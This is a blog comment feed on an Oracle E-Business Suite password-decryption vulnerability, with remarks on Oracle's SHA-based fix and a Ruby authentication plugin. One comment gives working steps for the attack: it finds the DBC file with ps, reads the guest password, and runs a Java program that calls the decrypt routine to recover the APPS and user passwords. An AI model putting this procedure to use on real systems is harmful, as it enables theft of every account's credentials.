<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: Oracle E-Business Suite Vulnerability: Users Passwords Decrypted</title>
	<atom:link href="http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/feed/" rel="self" type="application/rss+xml" />
	<link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/</link>
	<description>News, views, tips and tricks on Oracle and other fun stuff</description>
	<pubDate>Wed, 09 Jul 2008 00:44:28 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5</generator>
		<item>
		<title>By: Sofia</title>
		<link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51959</link>
		<dc:creator>Sofia</dc:creator>
		<pubDate>Fri, 08 Feb 2008 16:30:14 +0000</pubDate>
		<guid isPermaLink="false">http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51959</guid>
		<description>Hi braj 
can you give a link of the final exxecutable that you mentioned?
Thank you</description>
		<content:encoded><![CDATA[<p>Hi braj<br />
can you give a link of the final exxecutable that you mentioned?<br />
Thank you</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: braj</title>
		<link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51850</link>
		<dc:creator>braj</dc:creator>
		<pubDate>Fri, 14 Dec 2007 09:21:30 +0000</pubDate>
		<guid isPermaLink="false">http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51850</guid>
		<description>Hi!  Ewad,

If i am  normal  os user  on system and have select any table privilege  or select privilege on fnd_user table. I can easily break all the passwords even if i donot know the installation directory of oracle apps.

1. First step is to get guest user password

do the ps  and try to find Ddbcfile 
ps -eaf&#124;grep   Ddbcfile 
from there you can get the FND_TOP location and DBCFILE location. The DBC file readable by all and there is plain text entry for guest user password.

2. Now you can easily set the classpath  as you the APPL_TOP location and OAH_TOP location from ps command above
/usr/local/j2sdk1.4.2_15/jre/lib/rt.jar:/usr/local/j2sdk1.4.2_15/lib/dt.jar:/usr/local/j2sdk1.4.2_15/lib/tools.jar:/usr/local/j2sdk1.4.2_15/jre/lib/charsets.jar:/usr02/app/applebid/admin/ebid/java/appsborg2.zip::/usr02/app/applebid/product/8.0.6/forms60/java:/usr02/app/applebid/admin/ebid/java:/export/home/applebt1



3. Now write a simple Java code

public class GetPassword {
        public static void main(String[] args) {

            String appspassword=new String();
	    String guest_pwd=new String();
	     String userpass=new String();
	   String  encrypted_foundation_passsword=new String();
	    String  encrypted_passsword=new String();

          guest_pwd="GUEST/ORACE";                                        /*   fvalue got from dbc file  */
           encrypted_foundation_passsword="fafasfafafaf";    /*  value got from fnd_user table for GUEST user */
          encrypted_passsword="rfsfsfsafsfsfsf";                     /*  value got from fnd_user table for given  user */
             appspassword= oracle.apps.fnd.security.WebSessionManagerProc.decrypt(guest_pwd, encrypted_foundation_passsword);
            userpass= oracle.apps.fnd.security.WebSessionManagerProc.decrypt(appspassword,encrypted_passsword);
                System.out.println("user password:"+userpass);
		 System.out.println(" apps password:"+appspassword);
        }

}


4. compile and run and you will get the user and apps  password.</description>
		<content:encoded><![CDATA[<p>Hi!  Ewad,</p>
<p>If i am  normal  os user  on system and have select any table privilege  or select privilege on fnd_user table. I can easily break all the passwords even if i donot know the installation directory of oracle apps.</p>
<p>1. First step is to get guest user password</p>
<p>do the ps  and try to find Ddbcfile<br />
ps -eaf|grep   Ddbcfile<br />
from there you can get the FND_TOP location and DBCFILE location. The DBC file readable by all and there is plain text entry for guest user password.</p>
<p>2. Now you can easily set the classpath  as you the APPL_TOP location and OAH_TOP location from ps command above<br />
/usr/local/j2sdk1.4.2_15/jre/lib/rt.jar:/usr/local/j2sdk1.4.2_15/lib/dt.jar:/usr/local/j2sdk1.4.2_15/lib/tools.jar:/usr/local/j2sdk1.4.2_15/jre/lib/charsets.jar:/usr02/app/applebid/admin/ebid/java/appsborg2.zip::/usr02/app/applebid/product/8.0.6/forms60/java:/usr02/app/applebid/admin/ebid/java:/export/home/applebt1</p>
<p>3. Now write a simple Java code</p>
<p>public class GetPassword {<br />
        public static void main(String[] args) {</p>
<p>            String appspassword=new String();<br />
	    String guest_pwd=new String();<br />
	     String userpass=new String();<br />
	   String  encrypted_foundation_passsword=new String();<br />
	    String  encrypted_passsword=new String();</p>
<p>          guest_pwd=&#8221;GUEST/ORACE&#8221;;                                        /*   fvalue got from dbc file  */<br />
           encrypted_foundation_passsword=&#8221;fafasfafafaf&#8221;;    /*  value got from fnd_user table for GUEST user */<br />
          encrypted_passsword=&#8221;rfsfsfsafsfsfsf&#8221;;                     /*  value got from fnd_user table for given  user */<br />
             appspassword= oracle.apps.fnd.security.WebSessionManagerProc.decrypt(guest_pwd, encrypted_foundation_passsword);<br />
            userpass= oracle.apps.fnd.security.WebSessionManagerProc.decrypt(appspassword,encrypted_passsword);<br />
                System.out.println(&#8221;user password:&#8221;+userpass);<br />
		 System.out.println(&#8221; apps password:&#8221;+appspassword);<br />
        }</p>
<p>}</p>
<p>4. compile and run and you will get the user and apps  password.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Raimonds</title>
		<link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51726</link>
		<dc:creator>Raimonds</dc:creator>
		<pubDate>Tue, 30 Oct 2007 22:47:44 +0000</pubDate>
		<guid isPermaLink="false">http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51726</guid>
		<description>I had a look on the new modified Java class oracle.apps.fnd.security.AolSecurity that this patch delivers.

As Oracle has written in the patch description now user passwords are stored in the following way:
1) at first SHA digest is made from user password
2) and then SHA digest is encrypted with APPS password and stored in encrypted_user_password column

When password verification is done then
1) encrypted_user_password is decrypted with APPS password
2) SHA1 of user password is compared with decrypted result

So it means that it will not be possible to find out all user passwords using APPS password as decryption key.

But as it seems to me if you will have SQL access to the database and if you will have at least one EBS login and password for this database then you will still be able to get APPS password.</description>
		<content:encoded><![CDATA[<p>I had a look on the new modified Java class oracle.apps.fnd.security.AolSecurity that this patch delivers.</p>
<p>As Oracle has written in the patch description now user passwords are stored in the following way:<br />
1) at first SHA digest is made from user password<br />
2) and then SHA digest is encrypted with APPS password and stored in encrypted_user_password column</p>
<p>When password verification is done then<br />
1) encrypted_user_password is decrypted with APPS password<br />
2) SHA1 of user password is compared with decrypted result</p>
<p>So it means that it will not be possible to find out all user passwords using APPS password as decryption key.</p>
<p>But as it seems to me if you will have SQL access to the database and if you will have at least one EBS login and password for this database then you will still be able to get APPS password.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: bsieberth</title>
		<link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51725</link>
		<dc:creator>bsieberth</dc:creator>
		<pubDate>Tue, 30 Oct 2007 18:03:51 +0000</pubDate>
		<guid isPermaLink="false">http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51725</guid>
		<description>It looks like there may be a fix for this  vulnerability.  Note: 457166.1 talks about a new option for FNDCPASS available in 11.5.10 RUP 6 and 12.0.4 to migrate user to a non-reversible hash password scheme.  I haven't tried it yet to verify it, but it sounds like doing that will close off this vulnerability

-Brian</description>
		<content:encoded><![CDATA[<p>It looks like there may be a fix for this  vulnerability.  Note: 457166.1 talks about a new option for FNDCPASS available in 11.5.10 RUP 6 and 12.0.4 to migrate user to a non-reversible hash password scheme.  I haven&#8217;t tried it yet to verify it, but it sounds like doing that will close off this vulnerability</p>
<p>-Brian</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Raimonds</title>
		<link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51724</link>
		<dc:creator>Raimonds</dc:creator>
		<pubDate>Tue, 30 Oct 2007 17:52:07 +0000</pubDate>
		<guid isPermaLink="false">http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51724</guid>
		<description>Using Mehmet's Java source as an example I have created
&lt;a href="http://blog.rayapps.com/2007/10/30/oracle-e-business-suite-authentication-in-ruby/" rel="nofollow"&gt;Oracle E-Business Suite authentication plugin in Ruby&lt;/a&gt;. You can use this plugin for Ruby on Rails applications that want to use Oracle EBS users and passwords for authentication. Or you can use this as an example how to decrypt Oracle EBS user passwords in Ruby :)</description>
		<content:encoded><![CDATA[<p>Using Mehmet&#8217;s Java source as an example I have created<br />
<a href="http://blog.rayapps.com/2007/10/30/oracle-e-business-suite-authentication-in-ruby/" rel="nofollow">Oracle E-Business Suite authentication plugin in Ruby</a>. You can use this plugin for Ruby on Rails applications that want to use Oracle EBS users and passwords for authentication. Or you can use this as an example how to decrypt Oracle EBS user passwords in Ruby <img src='http://awads.net/wp/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Nilesh</title>
		<link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51562</link>
		<dc:creator>Nilesh</dc:creator>
		<pubDate>Mon, 17 Sep 2007 23:59:40 +0000</pubDate>
		<guid isPermaLink="false">http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51562</guid>
		<description>&lt;p&gt;Mehmet,
  How do you get the apps password through a user account? I have a need for a custom application, the users need to login using Oracle e-business password and then I need the apps database password to start the session just like Discoverer. Any pointers on this one, would greatly appreciate.&lt;/p&gt;

&lt;p&gt;Thanks
Nilesh&lt;/p&gt;
</description>
		<content:encoded><![CDATA[<p>Mehmet,<br />
  How do you get the apps password through a user account? I have a need for a custom application, the users need to login using Oracle e-business password and then I need the apps database password to start the session just like Discoverer. Any pointers on this one, would greatly appreciate.</p>
<p>Thanks<br />
Nilesh</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Eddie Awad</title>
		<link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51317</link>
		<dc:creator>Eddie Awad</dc:creator>
		<pubDate>Mon, 23 Jul 2007 18:55:10 +0000</pubDate>
		<guid isPermaLink="false">http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51317</guid>
		<description>&lt;p&gt;zokho, Here is the documentation for &lt;a href="http://download.oracle.com/docs/cd/B10501_01/appdev.920/a96590/adgsec04.htm" rel="nofollow"&gt;Data Encryption Using DBMS_OBFUSCATION_TOOLKIT&lt;/a&gt; in 9i.&lt;/p&gt;

&lt;p&gt;You may also want to visit &lt;a href="http://forums.oracle.com/" rel="nofollow"&gt;forums.oracle.com&lt;/a&gt; and ask your questions there. Usually, you will get a faster response there.&lt;/p&gt;
</description>
		<content:encoded><![CDATA[<p>zokho, Here is the documentation for <a href="http://download.oracle.com/docs/cd/B10501_01/appdev.920/a96590/adgsec04.htm" rel="nofollow">Data Encryption Using DBMS_OBFUSCATION_TOOLKIT</a> in 9i.</p>
<p>You may also want to visit <a href="http://forums.oracle.com/" rel="nofollow">forums.oracle.com</a> and ask your questions there. Usually, you will get a faster response there.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: zokho</title>
		<link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51300</link>
		<dc:creator>zokho</dc:creator>
		<pubDate>Wed, 18 Jul 2007 12:41:19 +0000</pubDate>
		<guid isPermaLink="false">http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51300</guid>
		<description>&lt;p&gt;hello eddie
i have an oracle 9i and one of my assignment in university is that how to decrypt users' password in oracle so i ve read several guides related to topic and i found that i should have a table in my oracle which is named fnd_user!!!
is there any other approach to decrypt passwords in oracle 9i?
thank u
best regards&lt;/p&gt;
</description>
		<content:encoded><![CDATA[<p>hello eddie<br />
i have an oracle 9i and one of my assignment in university is that how to decrypt users&#8217; password in oracle so i ve read several guides related to topic and i found that i should have a table in my oracle which is named fnd_user!!!<br />
is there any other approach to decrypt passwords in oracle 9i?<br />
thank u<br />
best regards</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Eddie Awad</title>
		<link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51299</link>
		<dc:creator>Eddie Awad</dc:creator>
		<pubDate>Wed, 18 Jul 2007 03:26:21 +0000</pubDate>
		<guid isPermaLink="false">http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51299</guid>
		<description>&lt;p&gt;Zokho, this is related to the Oracle E-Business Suite (EBS). If you do not have EBS, this does not apply to you.&lt;/p&gt;
</description>
		<content:encoded><![CDATA[<p>Zokho, this is related to the Oracle E-Business Suite (EBS). If you do not have EBS, this does not apply to you.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: zokho</title>
		<link>http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51296</link>
		<dc:creator>zokho</dc:creator>
		<pubDate>Tue, 17 Jul 2007 11:17:32 +0000</pubDate>
		<guid isPermaLink="false">http://awads.net/wp/2006/12/12/oracle-e-business-suite-vulnerability-users-passwords-decrypted/#comment-51296</guid>
		<description>&lt;p&gt;hi again
im using oracle 9i.
i cant find any appsys schema in my oracle to have access to fnd_user and fnd_web_sec package!!
in which oracle version i can have have appsys schema???
or are there any table like fnd_user and package fnd_web_sec  in oracle 9i?&lt;/p&gt;
</description>
		<content:encoded><![CDATA[<p>hi again<br />
im using oracle 9i.<br />
i cant find any appsys schema in my oracle to have access to fnd_user and fnd_web_sec package!!<br />
in which oracle version i can have have appsys schema???<br />
or are there any table like fnd_user and package fnd_web_sec  in oracle 9i?</p>
]]></content:encoded>
	</item>
</channel>
</rss>
